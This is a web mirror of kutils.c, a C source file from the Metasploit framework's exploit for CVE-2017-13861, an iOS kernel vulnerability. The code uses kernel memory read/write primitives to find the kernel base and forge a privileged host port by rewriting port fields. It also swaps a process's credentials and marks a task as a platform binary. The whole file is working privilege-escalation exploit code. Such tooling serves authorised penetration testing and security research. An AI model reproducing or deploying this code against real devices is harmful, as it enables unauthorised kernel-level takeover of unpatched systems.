CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2017-13861/kutils.c
Views: 11780
1
#include <CoreFoundation/CoreFoundation.h>
2
#include <stdio.h>
3
#include <stdlib.h>
4
5
#include <mach/mach.h>
6
#include <mach-o/loader.h>
7
8
/*#include <common.h>*/
9
/*#include <iokit.h>*/
10
11
#include <CoreFoundation/CoreFoundation.h>
12
extern void NSLog(CFStringRef, ...);
13
#define LOG(str, args...) do { NSLog(CFSTR("[*] " str "\n"), ##args); } while(false)
14
15
#include "kmem.h"
16
#include "koffsets.h"
17
#include "kutils.h"
18
#include "find_port.h"
19
20
#define TF_PLATFORM 0x00000400 /* task is a platform binary */
21
22
uint64_t the_realhost;
23
24
uint64_t cached_task_self_addr = 0;
25
uint64_t task_self_addr()
26
{
27
if (cached_task_self_addr == 0) {
28
cached_task_self_addr = find_port_address(mach_task_self(), MACH_MSG_TYPE_COPY_SEND);
29
LOG("task self: 0x%llx", cached_task_self_addr);
30
}
31
return cached_task_self_addr;
32
}
33
34
uint64_t ipc_space_kernel()
35
{
36
return ReadKernel64(task_self_addr() + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER));
37
}
38
39
uint64_t current_thread()
40
{
41
uint64_t thread_port = find_port_address(mach_thread_self(), MACH_MSG_TYPE_COPY_SEND);
42
return ReadKernel64(thread_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
43
}
44
45
uint64_t find_kernel_base()
46
{
47
uint64_t hostport_addr = find_port_address(mach_host_self(), MACH_MSG_TYPE_COPY_SEND);
48
uint64_t realhost = ReadKernel64(hostport_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
49
the_realhost = realhost;
50
51
uint64_t base = realhost & ~0xfffULL;
52
// walk down to find the magic:
53
for (int i = 0; i < 0x10000; i++) {
54
if (ReadKernel32(base) == MACH_HEADER_MAGIC) {
55
return base;
56
}
57
base -= 0x1000;
58
}
59
return 0;
60
}
61
62
mach_port_t fake_host_priv_port = MACH_PORT_NULL;
63
64
// build a fake host priv port
65
mach_port_t fake_host_priv()
66
{
67
if (fake_host_priv_port != MACH_PORT_NULL) {
68
return fake_host_priv_port;
69
}
70
// get the address of realhost:
71
uint64_t hostport_addr = find_port_address(mach_host_self(), MACH_MSG_TYPE_COPY_SEND);
72
uint64_t realhost = ReadKernel64(hostport_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
73
74
// allocate a port
75
mach_port_t port = MACH_PORT_NULL;
76
kern_return_t err;
77
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
78
if (err != KERN_SUCCESS) {
79
LOG("failed to allocate port");
80
return MACH_PORT_NULL;
81
}
82
83
// get a send right
84
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
85
86
// locate the port
87
uint64_t port_addr = find_port_address(port, MACH_MSG_TYPE_COPY_SEND);
88
89
// change the type of the port
90
#define IKOT_HOST_PRIV 4
91
#define IO_ACTIVE 0x80000000
92
WriteKernel32(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_ACTIVE | IKOT_HOST_PRIV);
93
94
// change the space of the port
95
WriteKernel64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), ipc_space_kernel());
96
97
// set the kobject
98
WriteKernel64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), realhost);
99
100
fake_host_priv_port = port;
101
102
return port;
103
}
104
105
int message_size_for_kalloc_size(int kalloc_size)
106
{
107
return ((3 * kalloc_size) / 4) - 0x74;
108
}
109
110
uint64_t give_creds_to_process_at_addr(uint64_t proc, uint64_t cred_addr)
111
{
112
uint64_t orig_creds = ReadKernel64(proc + koffset(KSTRUCT_OFFSET_PROC_UCRED));
113
WriteKernel64(proc + koffset(KSTRUCT_OFFSET_PROC_UCRED), cred_addr);
114
return orig_creds;
115
}
116
117
void set_platform_binary(uint64_t proc)
118
{
119
uint64_t task_struct_addr = ReadKernel64(proc + koffset(KSTRUCT_OFFSET_PROC_TASK));
120
uint32_t task_t_flags = ReadKernel32(task_struct_addr + koffset(KSTRUCT_OFFSET_TASK_TFLAGS));
121
task_t_flags |= TF_PLATFORM;
122
WriteKernel32(task_struct_addr + koffset(KSTRUCT_OFFSET_TASK_TFLAGS), task_t_flags);
123
}
124
125